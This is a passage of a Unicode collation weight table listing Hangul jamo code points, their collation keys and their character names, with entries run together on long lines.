[*0317.0020.0004][.3C05.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL THIEUTH A -3279 ; [.3C05.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL THIEUTH A -1111 ; [.3C06.0020.0002] # HANGUL CHOSEONG PHIEUPH -314D ; [.3C06.0020.0004] # HANGUL LETTER PHIEUPH -320C ; [*0317.0020.0004][.3C06.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL PHIEUPH -326C ; [.3C06.0020.0006] # CIRCLED HANGUL PHIEUPH -FFBD ; [.3C06.0020.0012] # HALFWIDTH HANGUL LETTER PHIEUPH -321A ; [*0317.0020.0004][.3C06.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL PHIEUPH A -327A ; [.3C06.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL PHIEUPH A -1112 ; [.3C07.0020.0002] # HANGUL CHOSEONG HIEUH -314E ; [.3C07.0020.0004] # HANGUL LETTER HIEUH -320D ; [*0317.0020.0004][.3C07.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL HIEUH -326D ; [.3C07.0020.0006] # CIRCLED HANGUL HIEUH -FFBE ; [.3C07.0020.0012] # HALFWIDTH HANGUL LETTER HIEUH -321B ; [*0317.0020.0004][.3C07.0020.0004][.3C73.0020.0004][*0318.0020.0004] # PARENTHESIZED HANGUL HIEUH A -327B ; [.3C07.0020.0006][.3C73.0020.0006] # CIRCLED HANGUL HIEUH A -1113 ; [.3C08.0020.0002] # HANGUL CHOSEONG NIEUN-KIYEOK -1114 ; [.3C09.0020.0002] # HANGUL CHOSEONG SSANGNIEUN -3165 ; [.3C09.0020.0004] # HANGUL LETTER SSANGNIEUN -1115 ; [.3C0A.0020.0002] # HANGUL CHOSEONG NIEUN-TIKEUT -3166 ; [.3C0A.0020.0004] # HANGUL LETTER NIEUN-TIKEUT -1116 ; [.3C0B.0020.0002] # HANGUL CHOSEONG NIEUN-PIEUP -1117 ; [.3C0C.0020.0002] # HANGUL CHOSEONG TIKEUT-KIYEOK -1118 ; [.3C0D.0020.0002] # HANGUL CHOSEONG RIEUL-NIEUN -1119 ; [.3C0E.0020.0002] # HANGUL CHOSEONG SSANGRIEUL -111A ; [.3C0F.0020.0002] # HANGUL CHOSEONG RIEUL-HIEUH -3140 ; [.3C0F.0020.0004] # HANGUL LETTER RIEUL-HIEUH -FFB0 ; [.3C0F.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-HIEUH -111B ; [.3C10.0020.0002] # HANGUL CHOSEONG KAPYEOUNRIEUL -111C ; [.3C11.0020.0002] # HANGUL CHOSEONG MIEUM-PIEUP -316E ; [.3C11.0020.0004] # HANGUL LETTER MIEUM-PIEUP -111D ; [.3C12.0020.0002] # HANGUL CHOSEONG KAPYEOUNMIEUM -3171 ; [.3C12.0020.0004] # HANGUL LETTER KAPYEOUNMIEUM -111E ; [.3C13.0020.0002] # HANGUL CHOSEONG PIEUP-KIYEOK -3172 ; [.3C13.0020.0004] # HANGUL LETTER PIEUP-KIYEOK -111F ; [.3C14.0020.0002] # HANGUL CHOSEONG PIEUP-NIEUN -1120 ; [.3C15.0020.0002] # HANGUL CHOSEONG PIEUP-TIKEUT -3173 ; [.3C15.0020.0004] # HANGUL LETTER PIEUP-TIKEUT -1121 ; [.3C16.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS -3144 ; [.3C16.0020.0004] # HANGUL LETTER PIEUP-SIOS -FFB4 ; [.3C16.0020.0012] # HALFWIDTH HANGUL LETTER PIEUP-SIOS -1122 ; [.3C17.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-KIYEOK -3174 ; [.3C17.0020.0004] # HANGUL LETTER PIEUP-SIOS-KIYEOK -1123 ; [.3C18.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-TIKEUT -3175 ; [.3C18.0020.0004] # HANGUL LETTER PIEUP-SIOS-TIKEUT -1124 ; [.3C19.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-PIEUP -1125 ; [.3C1A.0020.0002] # HANGUL CHOSEONG PIEUP-SSANGSIOS -1126 ; [.3C1B.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-CIEUC -1127 ; [.3C1C.0020.0002] # HANGUL CHOSEONG PIEUP-CIEUC -3176 ; [.3C1C.0020.0004] # HANGUL LETTER PIEUP-CIEUC -1128 ; [.3C1D.0020.0002] # HANGUL CHOSEONG PIEUP-CHIEUCH -1129 ; [.3C1E.0020.0002] # HANGUL CHOSEONG PIEUP-THIEUTH -3177 ; [.3C1E.0020.0004] # HANGUL LETTER PIEUP-THIEUTH -112A ; [.3C1F.0020.0002] # HANGUL CHOSEONG PIEUP-PHIEUPH -112B ; [.3C20.0020.0002] # HANGUL CHOSEONG KAPYEOUNPIEUP -3178 ; [.3C20.0020.0004] # HANGUL LETTER KAPYEOUNPIEUP -112C ; [.3C21.0020.0002] # HANGUL CHOSEONG KAPYEOUNSSANGPIEUP -3179 ; [.3C21.0020.0004] # HANGUL LETTER KAPYEOUNSSANGPIEUP -112D ; [.3C22.0020.0002] # HANGUL CHOSEONG SIOS-KIYEOK -317A ; [.3C22.0020.0004] # HANGUL LETTER SIOS-KIYEOK -112E ; [.3C23.0020.0002] # HANGUL CHOSEONG SIOS-NIEUN -317B ; [.3C23.0020.0004] # HANGUL LETTER SIOS-NIEUN -112F ; [.3C24.0020.0002] # HANGUL CHOSEONG SIOS-TIKEUT -317C ; [.3C24.0020.0004] # HANGUL LETTER SIOS-TIKEUT -1130 ; [.3C25.0020.0002] # HANGUL CHOSEONG SIOS-RIEUL -1131 ; [.3C26.0020.0002] # HANGUL CHOSEONG SIOS-MIEUM -1132 ; [.3C27.0020.0002] # HANGUL CHOSEONG SIOS-PIEUP -317D ; [.3C27.0020.0004] # HANGUL LETTER SIOS-PIEUP -1133 ; [.3C28.0020.0002] # HANGUL CHOSEONG SIOS-PIEUP-KIYEOK -1134 ; [.3C29.0020.0002] # HANGUL CHOSEONG SIOS-SSANGSIOS -1135 ; [.3C2A.0020.0002] # HANGUL CHOSEONG SIOS-IEUNG -1136 ; [.3C2B.0020.0002] # HANGUL CHOSEONG SIOS-CIEUC -317E ; [.3C2B.0020.0004] # HANGUL LETTER SIOS-CIEUC -1137 ; [.3C2C.0020.0002] # HANGUL CHOSEONG SIOS-CHIEUCH -1138 ; [.3C2D.0020.0002] # HANGUL CHOSEONG SIOS-KHIEUKH -1139 ; [.3C2E.0020.0002] # HANGUL CHOSEONG SIOS-THIEUTH -113A ; [.3C2F.0020.0002] # HANGUL CHOSEONG SIOS-PHIEUPH -113B ; [.3C30.0020.0002] # HANGUL CHOSEONG SIOS-HIEUH -113C ; [.3C31.0020.0002] # HANGUL CHOSEONG CHITUEUMSIOS -113D ; [.3C32.0020.0002] # HANGUL CHOSEONG CHITUEUMSSANGSIOS -113E ; [.3C33.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMSIOS -113F ; [.3C34.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMSSANGSIOS -1140 ; [.3C35.0020.0002] # HANGUL CHOSEONG PANSIOS -317F ; [.3C35.0020.0004] # HANGUL LETTER PANSIOS -1141 ; [.3C36.0020.0002] # HANGUL CHOSEONG IEUNG-KIYEOK -1142 ; [.3C37.0020.0002] # HANGUL CHOSEONG IEUNG-TIKEUT -1143 ; [.3C38.0020.0002] # HANGUL CHOSEONG IEUNG-MIEUM -1144 ; [.3C39.0020.0002] # HANGUL CHOSEONG IEUNG-PIEUP -1145 ; [.3C3A.0020.0002] # HANGUL CHOSEONG IEUNG-SIOS -1146 ; [.3C3B.0020.0002] # HANGUL CHOSEONG IEUNG-PANSIOS -1147 ; [.3C3C.0020.0002] # HANGUL CHOSEONG SSANGIEUNG -3180 ; [.3C3C.0020.0004] # HANGUL LETTER SSANGIEUNG -1148 ; [.3C3D.0020.0002] # HANGUL CHOSEONG IEUNG-CIEUC -1149 ; [.3C3E.0020.0002] # HANGUL CHOSEONG IEUNG-CHIEUCH -114A ; [.3C3F.0020.0002] # HANGUL CHOSEONG IEUNG-THIEUTH -114B ; [.3C40.0020.0002] # HANGUL CHOSEONG IEUNG-PHIEUPH -114C ; [.3C41.0020.0002] # HANGUL CHOSEONG YESIEUNG -3181 ; [.3C41.0020.0004] # HANGUL LETTER YESIEUNG -114D ; [.3C42.0020.0002] # HANGUL CHOSEONG CIEUC-IEUNG -114E ; [.3C43.0020.0002] # HANGUL CHOSEONG CHITUEUMCIEUC -114F ; [.3C44.0020.0002] # HANGUL CHOSEONG CHITUEUMSSANGCIEUC -1150 ; [.3C45.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMCIEUC -1151 ; [.3C46.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMSSANGCIEUC -1152 ; [.3C47.0020.0002] # HANGUL CHOSEONG CHIEUCH-KHIEUKH -1153 ; [.3C48.0020.0002] # HANGUL CHOSEONG CHIEUCH-HIEUH -1154 ; [.3C49.0020.0002] # HANGUL CHOSEONG CHITUEUMCHIEUCH -1155 ; [.3C4A.0020.0002] # HANGUL CHOSEONG CEONGCHIEUMCHIEUCH -1156 ; [.3C4B.0020.0002] # HANGUL CHOSEONG PHIEUPH-PIEUP -1157 ; [.3C4C.0020.0002] # HANGUL CHOSEONG KAPYEOUNPHIEUPH -3184 ; [.3C4C.0020.0004] # HANGUL LETTER KAPYEOUNPHIEUPH -1158 ; [.3C4D.0020.0002] # HANGUL CHOSEONG SSANGHIEUH -3185 ; [.3C4D.0020.0004] # HANGUL LETTER SSANGHIEUH -1159 ; [.3C4E.0020.0002] # HANGUL CHOSEONG YEORINHIEUH -3186 ; [.3C4E.0020.0004] # HANGUL LETTER YEORINHIEUH -115A ; [.3C4F.0020.0002] # HANGUL CHOSEONG KIYEOK-TIKEUT -115B ; [.3C50.0020.0002] # HANGUL CHOSEONG NIEUN-SIOS -115C ; [.3C51.0020.0002] # HANGUL CHOSEONG NIEUN-CIEUC -115D ; [.3C52.0020.0002] # HANGUL CHOSEONG NIEUN-HIEUH -115E ; [.3C53.0020.0002] # HANGUL CHOSEONG TIKEUT-RIEUL -A960 ; [.3C54.0020.0002] # HANGUL CHOSEONG TIKEUT-MIEUM -A961 ; [.3C55.0020.0002] # HANGUL CHOSEONG TIKEUT-PIEUP -A962 ; [.3C56.0020.0002] # HANGUL CHOSEONG TIKEUT-SIOS -A963 ; [.3C57.0020.0002] # HANGUL CHOSEONG TIKEUT-CIEUC -A964 ; [.3C58.0020.0002] # HANGUL CHOSEONG RIEUL-KIYEOK -A965 ; [.3C59.0020.0002] # HANGUL CHOSEONG RIEUL-SSANGKIYEOK -A966 ; [.3C5A.0020.0002] # HANGUL CHOSEONG RIEUL-TIKEUT -A967 ; [.3C5B.0020.0002] # HANGUL CHOSEONG RIEUL-SSANGTIKEUT -A968 ; [.3C5C.0020.0002] # HANGUL CHOSEONG RIEUL-MIEUM -A969 ; [.3C5D.0020.0002] # HANGUL CHOSEONG RIEUL-PIEUP -A96A ; [.3C5E.0020.0002] # HANGUL CHOSEONG RIEUL-SSANGPIEUP -A96B ; [.3C5F.0020.0002] # HANGUL CHOSEONG RIEUL-KAPYEOUNPIEUP -A96C ; [.3C60.0020.0002] # HANGUL CHOSEONG RIEUL-SIOS -A96D ; [.3C61.0020.0002] # HANGUL CHOSEONG RIEUL-CIEUC -A96E ; [.3C62.0020.0002] # HANGUL CHOSEONG RIEUL-KHIEUKH -A96F ; [.3C63.0020.0002] # HANGUL CHOSEONG MIEUM-KIYEOK -A970 ; [.3C64.0020.0002] # HANGUL CHOSEONG MIEUM-TIKEUT -A971 ; [.3C65.0020.0002] # HANGUL CHOSEONG MIEUM-SIOS -A972 ; [.3C66.0020.0002] # HANGUL CHOSEONG PIEUP-SIOS-THIEUTH -A973 ; [.3C67.0020.0002] # HANGUL CHOSEONG PIEUP-KHIEUKH -A974 ; [.3C68.0020.0002] # HANGUL CHOSEONG PIEUP-HIEUH -A975 ; [.3C69.0020.0002] # HANGUL CHOSEONG SSANGSIOS-PIEUP -A976 ; [.3C6A.0020.0002] # HANGUL CHOSEONG IEUNG-RIEUL -A977 ; [.3C6B.0020.0002] # HANGUL CHOSEONG IEUNG-HIEUH -A978 ; [.3C6C.0020.0002] # HANGUL CHOSEONG SSANGCIEUC-HIEUH -A979 ; [.3C6D.0020.0002] # HANGUL CHOSEONG SSANGTHIEUTH -A97A ; [.3C6E.0020.0002] # HANGUL CHOSEONG PHIEUPH-HIEUH -A97B ; [.3C6F.0020.0002] # HANGUL CHOSEONG HIEUH-SIOS -A97C ; [.3C70.0020.0002] # HANGUL CHOSEONG SSANGYEORINHIEUH -115F ; [.3C71.0020.0002] # HANGUL CHOSEONG FILLER -1160 ; [.3C72.0020.0002] # HANGUL JUNGSEONG FILLER -3164 ; [.3C72.0020.0004] # HANGUL FILLER -FFA0 ; [.3C72.0020.0012] # HALFWIDTH HANGUL FILLER -1161 ; [.3C73.0020.0002] # HANGUL JUNGSEONG A -314F ; [.3C73.0020.0004] # HANGUL LETTER A -FFC2 ; [.3C73.0020.0012] # HALFWIDTH HANGUL LETTER A -1162 ; [.3C74.0020.0002] # HANGUL JUNGSEONG AE -3150 ; [.3C74.0020.0004] # HANGUL LETTER AE -FFC3 ; [.3C74.0020.0012] # HALFWIDTH HANGUL LETTER AE -1163 ; [.3C75.0020.0002] # HANGUL JUNGSEONG YA -3151 ; [.3C75.0020.0004] # HANGUL LETTER YA -FFC4 ; [.3C75.0020.0012] # HALFWIDTH HANGUL LETTER YA -1164 ; [.3C76.0020.0002] # HANGUL JUNGSEONG YAE -3152 ; [.3C76.0020.0004] # HANGUL LETTER YAE -FFC5 ; [.3C76.0020.0012] # HALFWIDTH HANGUL LETTER YAE -1165 ; [.3C77.0020.0002] # HANGUL JUNGSEONG EO -3153 ; [.3C77.0020.0004] # HANGUL LETTER EO -FFC6 ; [.3C77.0020.0012] # HALFWIDTH HANGUL LETTER EO -1166 ; [.3C78.0020.0002] # HANGUL JUNGSEONG E -3154 ; [.3C78.0020.0004] # HANGUL LETTER E -FFC7 ; [.3C78.0020.0012] # HALFWIDTH HANGUL LETTER E -1167 ; [.3C79.0020.0002] # HANGUL JUNGSEONG YEO -3155 ; [.3C79.0020.0004] # HANGUL LETTER YEO -FFCA ; [.3C79.0020.0012] # HALFWIDTH HANGUL LETTER YEO -1168 ; [.3C7A.0020.0002] # HANGUL JUNGSEONG YE -3156 ; [.3C7A.0020.0004] # HANGUL LETTER YE -FFCB ; [.3C7A.0020.0012] # HALFWIDTH HANGUL LETTER YE -1169 ; [.3C7B.0020.0002] # HANGUL JUNGSEONG O -3157 ; [.3C7B.0020.0004] # HANGUL LETTER O -FFCC ; [.3C7B.0020.0012] # HALFWIDTH HANGUL LETTER O -116A ; [.3C7C.0020.0002] # HANGUL JUNGSEONG WA -3158 ; [.3C7C.0020.0004] # HANGUL LETTER WA -FFCD ; [.3C7C.0020.0012] # HALFWIDTH HANGUL LETTER WA -116B ; [.3C7D.0020.0002] # HANGUL JUNGSEONG WAE -3159 ; [.3C7D.0020.0004] # HANGUL LETTER WAE -FFCE ; [.3C7D.0020.0012] # HALFWIDTH HANGUL LETTER WAE -116C ; [.3C7E.0020.0002] # HANGUL JUNGSEONG OE -315A ; [.3C7E.0020.0004] # HANGUL LETTER OE -FFCF ; [.3C7E.0020.0012] # HALFWIDTH HANGUL LETTER OE -116D ; [.3C7F.0020.0002] # HANGUL JUNGSEONG YO -315B ; [.3C7F.0020.0004] # HANGUL LETTER YO -FFD2 ; [.3C7F.0020.0012] # HALFWIDTH HANGUL LETTER YO -116E ; [.3C80.0020.0002] # HANGUL JUNGSEONG U -315C ; [.3C80.0020.0004] # HANGUL LETTER U -FFD3 ; [.3C80.0020.0012] # HALFWIDTH HANGUL LETTER U -116F ; [.3C81.0020.0002] # HANGUL JUNGSEONG WEO -315D ; [.3C81.0020.0004] # HANGUL LETTER WEO -FFD4 ; [.3C81.0020.0012] # HALFWIDTH HANGUL LETTER WEO -1170 ; [.3C82.0020.0002] # HANGUL JUNGSEONG WE -315E ; [.3C82.0020.0004] # HANGUL LETTER WE -FFD5 ; [.3C82.0020.0012] # HALFWIDTH HANGUL LETTER WE -1171 ; [.3C83.0020.0002] # HANGUL JUNGSEONG WI -315F ; [.3C83.0020.0004] # HANGUL LETTER WI -FFD6 ; [.3C83.0020.0012] # HALFWIDTH HANGUL LETTER WI -1172 ; [.3C84.0020.0002] # HANGUL JUNGSEONG YU -3160 ; [.3C84.0020.0004] # HANGUL LETTER YU -FFD7 ; [.3C84.0020.0012] # HALFWIDTH HANGUL LETTER YU -1173 ; [.3C85.0020.0002] # HANGUL JUNGSEONG EU -3161 ; [.3C85.0020.0004] # HANGUL LETTER EU -FFDA ; [.3C85.0020.0012] # HALFWIDTH HANGUL LETTER EU -1174 ; [.3C86.0020.0002] # HANGUL JUNGSEONG YI -3162 ; [.3C86.0020.0004] # HANGUL LETTER YI -FFDB ; [.3C86.0020.0012] # HALFWIDTH HANGUL LETTER YI -1175 ; [.3C87.0020.0002] # HANGUL JUNGSEONG I -3163 ; [.3C87.0020.0004] # HANGUL LETTER I -FFDC ; [.3C87.0020.0012] # HALFWIDTH HANGUL LETTER I -1176 ; [.3C88.0020.0002] # HANGUL JUNGSEONG A-O -1177 ; [.3C89.0020.0002] # HANGUL JUNGSEONG A-U -1178 ; [.3C8A.0020.0002] # HANGUL JUNGSEONG YA-O -1179 ; [.3C8B.0020.0002] # HANGUL JUNGSEONG YA-YO -117A ; [.3C8C.0020.0002] # HANGUL JUNGSEONG EO-O -117B ; [.3C8D.0020.0002] # HANGUL JUNGSEONG EO-U -117C ; [.3C8E.0020.0002] # HANGUL JUNGSEONG EO-EU -117D ; [.3C8F.0020.0002] # HANGUL JUNGSEONG YEO-O -117E ; [.3C90.0020.0002] # HANGUL JUNGSEONG YEO-U -117F ; [.3C91.0020.0002] # HANGUL JUNGSEONG O-EO -1180 ; [.3C92.0020.0002] # HANGUL JUNGSEONG O-E -1181 ; [.3C93.0020.0002] # HANGUL JUNGSEONG O-YE -1182 ; [.3C94.0020.0002] # HANGUL JUNGSEONG O-O -1183 ; [.3C95.0020.0002] # HANGUL JUNGSEONG O-U -1184 ; [.3C96.0020.0002] # HANGUL JUNGSEONG YO-YA -3187 ; [.3C96.0020.0004] # HANGUL LETTER YO-YA -1185 ; [.3C97.0020.0002] # HANGUL JUNGSEONG YO-YAE -3188 ; [.3C97.0020.0004] # HANGUL LETTER YO-YAE -1186 ; [.3C98.0020.0002] # HANGUL JUNGSEONG YO-YEO -1187 ; [.3C99.0020.0002] # HANGUL JUNGSEONG YO-O -1188 ; [.3C9A.0020.0002] # HANGUL JUNGSEONG YO-I -3189 ; [.3C9A.0020.0004] # HANGUL LETTER YO-I -1189 ; [.3C9B.0020.0002] # HANGUL JUNGSEONG U-A -118A ; [.3C9C.0020.0002] # HANGUL JUNGSEONG U-AE -118B ; [.3C9D.0020.0002] # HANGUL JUNGSEONG U-EO-EU -118C ; [.3C9E.0020.0002] # HANGUL JUNGSEONG U-YE -118D ; [.3C9F.0020.0002] # HANGUL JUNGSEONG U-U -118E ; [.3CA0.0020.0002] # HANGUL JUNGSEONG YU-A -118F ; [.3CA1.0020.0002] # HANGUL JUNGSEONG YU-EO -1190 ; [.3CA2.0020.0002] # HANGUL JUNGSEONG YU-E -1191 ; [.3CA3.0020.0002] # HANGUL JUNGSEONG YU-YEO -318A ; [.3CA3.0020.0004] # HANGUL LETTER YU-YEO -1192 ; [.3CA4.0020.0002] # HANGUL JUNGSEONG YU-YE -318B ; [.3CA4.0020.0004] # HANGUL LETTER YU-YE -1193 ; [.3CA5.0020.0002] # HANGUL JUNGSEONG YU-U -1194 ; [.3CA6.0020.0002] # HANGUL JUNGSEONG YU-I -318C ; [.3CA6.0020.0004] # HANGUL LETTER YU-I -1195 ; [.3CA7.0020.0002] # HANGUL JUNGSEONG EU-U -1196 ; [.3CA8.0020.0002] # HANGUL JUNGSEONG EU-EU -1197 ; [.3CA9.0020.0002] # HANGUL JUNGSEONG YI-U -1198 ; [.3CAA.0020.0002] # HANGUL JUNGSEONG I-A -1199 ; [.3CAB.0020.0002] # HANGUL JUNGSEONG I-YA -119A ; [.3CAC.0020.0002] # HANGUL JUNGSEONG I-O -119B ; [.3CAD.0020.0002] # HANGUL JUNGSEONG I-U -119C ; [.3CAE.0020.0002] # HANGUL JUNGSEONG I-EU -119D ; [.3CAF.0020.0002] # HANGUL JUNGSEONG I-ARAEA -119E ; [.3CB0.0020.0002] # HANGUL JUNGSEONG ARAEA -318D ; [.3CB0.0020.0004] # HANGUL LETTER ARAEA -119F ; [.3CB1.0020.0002] # HANGUL JUNGSEONG ARAEA-EO -11A0 ; [.3CB2.0020.0002] # HANGUL JUNGSEONG ARAEA-U -11A1 ; [.3CB3.0020.0002] # HANGUL JUNGSEONG ARAEA-I -318E ; [.3CB3.0020.0004] # HANGUL LETTER ARAEAE -11A2 ; [.3CB4.0020.0002] # HANGUL JUNGSEONG SSANGARAEA -11A3 ; [.3CB5.0020.0002] # HANGUL JUNGSEONG A-EU -11A4 ; [.3CB6.0020.0002] # HANGUL JUNGSEONG YA-U -11A5 ; [.3CB7.0020.0002] # HANGUL JUNGSEONG YEO-YA -11A6 ; [.3CB8.0020.0002] # HANGUL JUNGSEONG O-YA -11A7 ; [.3CB9.0020.0002] # HANGUL JUNGSEONG O-YAE -D7B0 ; [.3CBA.0020.0002] # HANGUL JUNGSEONG O-YEO -D7B1 ; [.3CBB.0020.0002] # HANGUL JUNGSEONG O-O-I -D7B2 ; [.3CBC.0020.0002] # HANGUL JUNGSEONG YO-A -D7B3 ; [.3CBD.0020.0002] # HANGUL JUNGSEONG YO-AE -D7B4 ; [.3CBE.0020.0002] # HANGUL JUNGSEONG YO-EO -D7B5 ; [.3CBF.0020.0002] # HANGUL JUNGSEONG U-YEO -D7B6 ; [.3CC0.0020.0002] # HANGUL JUNGSEONG U-I-I -D7B7 ; [.3CC1.0020.0002] # HANGUL JUNGSEONG YU-AE -D7B8 ; [.3CC2.0020.0002] # HANGUL JUNGSEONG YU-O -D7B9 ; [.3CC3.0020.0002] # HANGUL JUNGSEONG EU-A -D7BA ; [.3CC4.0020.0002] # HANGUL JUNGSEONG EU-EO -D7BB ; [.3CC5.0020.0002] # HANGUL JUNGSEONG EU-E -D7BC ; [.3CC6.0020.0002] # HANGUL JUNGSEONG EU-O -D7BD ; [.3CC7.0020.0002] # HANGUL JUNGSEONG I-YA-O -D7BE ; [.3CC8.0020.0002] # HANGUL JUNGSEONG I-YAE -D7BF ; [.3CC9.0020.0002] # HANGUL JUNGSEONG I-YEO -D7C0 ; [.3CCA.0020.0002] # HANGUL JUNGSEONG I-YE -D7C1 ; [.3CCB.0020.0002] # HANGUL JUNGSEONG I-O-I -D7C2 ; [.3CCC.0020.0002] # HANGUL JUNGSEONG I-YO -D7C3 ; [.3CCD.0020.0002] # HANGUL JUNGSEONG I-YU -D7C4 ; [.3CCE.0020.0002] # HANGUL JUNGSEONG I-I -D7C5 ; [.3CCF.0020.0002] # HANGUL JUNGSEONG ARAEA-A -D7C6 ; [.3CD0.0020.0002] # HANGUL JUNGSEONG ARAEA-E -11A8 ; [.3CD1.0020.0002] # HANGUL JONGSEONG KIYEOK -11A9 ; [.3CD2.0020.0002] # HANGUL JONGSEONG SSANGKIYEOK -11AA ; [.3CD3.0020.0002] # HANGUL JONGSEONG KIYEOK-SIOS -3133 ; [.3CD3.0020.0004] # HANGUL LETTER KIYEOK-SIOS -FFA3 ; [.3CD3.0020.0012] # HALFWIDTH HANGUL LETTER KIYEOK-SIOS -11AB ; [.3CD4.0020.0002] # HANGUL JONGSEONG NIEUN -11AC ; [.3CD5.0020.0002] # HANGUL JONGSEONG NIEUN-CIEUC -3135 ; [.3CD5.0020.0004] # HANGUL LETTER NIEUN-CIEUC -FFA5 ; [.3CD5.0020.0012] # HALFWIDTH HANGUL LETTER NIEUN-CIEUC -11AD ; [.3CD6.0020.0002] # HANGUL JONGSEONG NIEUN-HIEUH -3136 ; [.3CD6.0020.0004] # HANGUL LETTER NIEUN-HIEUH -FFA6 ; [.3CD6.0020.0012] # HALFWIDTH HANGUL LETTER NIEUN-HIEUH -11AE ; [.3CD7.0020.0002] # HANGUL JONGSEONG TIKEUT -11AF ; [.3CD8.0020.0002] # HANGUL JONGSEONG RIEUL -11B0 ; [.3CD9.0020.0002] # HANGUL JONGSEONG RIEUL-KIYEOK -313A ; [.3CD9.0020.0004] # HANGUL LETTER RIEUL-KIYEOK -FFAA ; [.3CD9.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-KIYEOK -11B1 ; [.3CDA.0020.0002] # HANGUL JONGSEONG RIEUL-MIEUM -313B ; [.3CDA.0020.0004] # HANGUL LETTER RIEUL-MIEUM -FFAB ; [.3CDA.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-MIEUM -11B2 ; [.3CDB.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP -313C ; [.3CDB.0020.0004] # HANGUL LETTER RIEUL-PIEUP -FFAC ; [.3CDB.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-PIEUP -11B3 ; [.3CDC.0020.0002] # HANGUL JONGSEONG RIEUL-SIOS -313D ; [.3CDC.0020.0004] # HANGUL LETTER RIEUL-SIOS -FFAD ; [.3CDC.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-SIOS -11B4 ; [.3CDD.0020.0002] # HANGUL JONGSEONG RIEUL-THIEUTH -313E ; [.3CDD.0020.0004] # HANGUL LETTER RIEUL-THIEUTH -FFAE ; [.3CDD.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-THIEUTH -11B5 ; [.3CDE.0020.0002] # HANGUL JONGSEONG RIEUL-PHIEUPH -313F ; [.3CDE.0020.0004] # HANGUL LETTER RIEUL-PHIEUPH -FFAF ; [.3CDE.0020.0012] # HALFWIDTH HANGUL LETTER RIEUL-PHIEUPH -11B6 ; [.3CDF.0020.0002] # HANGUL JONGSEONG RIEUL-HIEUH -11B7 ; [.3CE0.0020.0002] # HANGUL JONGSEONG MIEUM -11B8 ; [.3CE1.0020.0002] # HANGUL JONGSEONG PIEUP -11B9 ; [.3CE2.0020.0002] # HANGUL JONGSEONG PIEUP-SIOS -11BA ; [.3CE3.0020.0002] # HANGUL JONGSEONG SIOS -11BB ; [.3CE4.0020.0002] # HANGUL JONGSEONG SSANGSIOS -11BC ; [.3CE5.0020.0002] # HANGUL JONGSEONG IEUNG -11BD ; [.3CE6.0020.0002] # HANGUL JONGSEONG CIEUC -11BE ; [.3CE7.0020.0002] # HANGUL JONGSEONG CHIEUCH -11BF ; [.3CE8.0020.0002] # HANGUL JONGSEONG KHIEUKH -11C0 ; [.3CE9.0020.0002] # HANGUL JONGSEONG THIEUTH -11C1 ; [.3CEA.0020.0002] # HANGUL JONGSEONG PHIEUPH -11C2 ; [.3CEB.0020.0002] # HANGUL JONGSEONG HIEUH -11C3 ; [.3CEC.0020.0002] # HANGUL JONGSEONG KIYEOK-RIEUL -11C4 ; [.3CED.0020.0002] # HANGUL JONGSEONG KIYEOK-SIOS-KIYEOK -11C5 ; [.3CEE.0020.0002] # HANGUL JONGSEONG NIEUN-KIYEOK -11C6 ; [.3CEF.0020.0002] # HANGUL JONGSEONG NIEUN-TIKEUT -11C7 ; [.3CF0.0020.0002] # HANGUL JONGSEONG NIEUN-SIOS -3167 ; [.3CF0.0020.0004] # HANGUL LETTER NIEUN-SIOS -11C8 ; [.3CF1.0020.0002] # HANGUL JONGSEONG NIEUN-PANSIOS -3168 ; [.3CF1.0020.0004] # HANGUL LETTER NIEUN-PANSIOS -11C9 ; [.3CF2.0020.0002] # HANGUL JONGSEONG NIEUN-THIEUTH -11CA ; [.3CF3.0020.0002] # HANGUL JONGSEONG TIKEUT-KIYEOK -11CB ; [.3CF4.0020.0002] # HANGUL JONGSEONG TIKEUT-RIEUL -11CC ; [.3CF5.0020.0002] # HANGUL JONGSEONG RIEUL-KIYEOK-SIOS -3169 ; [.3CF5.0020.0004] # HANGUL LETTER RIEUL-KIYEOK-SIOS -11CD ; [.3CF6.0020.0002] # HANGUL JONGSEONG RIEUL-NIEUN -11CE ; [.3CF7.0020.0002] # HANGUL JONGSEONG RIEUL-TIKEUT -316A ; [.3CF7.0020.0004] # HANGUL LETTER RIEUL-TIKEUT -11CF ; [.3CF8.0020.0002] # HANGUL JONGSEONG RIEUL-TIKEUT-HIEUH -11D0 ; [.3CF9.0020.0002] # HANGUL JONGSEONG SSANGRIEUL -11D1 ; [.3CFA.0020.0002] # HANGUL JONGSEONG RIEUL-MIEUM-KIYEOK -11D2 ; [.3CFB.0020.0002] # HANGUL JONGSEONG RIEUL-MIEUM-SIOS -11D3 ; [.3CFC.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP-SIOS -316B ; [.3CFC.0020.0004] # HANGUL LETTER RIEUL-PIEUP-SIOS -11D4 ; [.3CFD.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP-HIEUH -11D5 ; [.3CFE.0020.0002] # HANGUL JONGSEONG RIEUL-KAPYEOUNPIEUP -11D6 ; [.3CFF.0020.0002] # HANGUL JONGSEONG RIEUL-SSANGSIOS -11D7 ; [.3D00.0020.0002] # HANGUL JONGSEONG RIEUL-PANSIOS -316C ; [.3D00.0020.0004] # HANGUL LETTER RIEUL-PANSIOS -11D8 ; [.3D01.0020.0002] # HANGUL JONGSEONG RIEUL-KHIEUKH -11D9 ; [.3D02.0020.0002] # HANGUL JONGSEONG RIEUL-YEORINHIEUH -316D ; [.3D02.0020.0004] # HANGUL LETTER 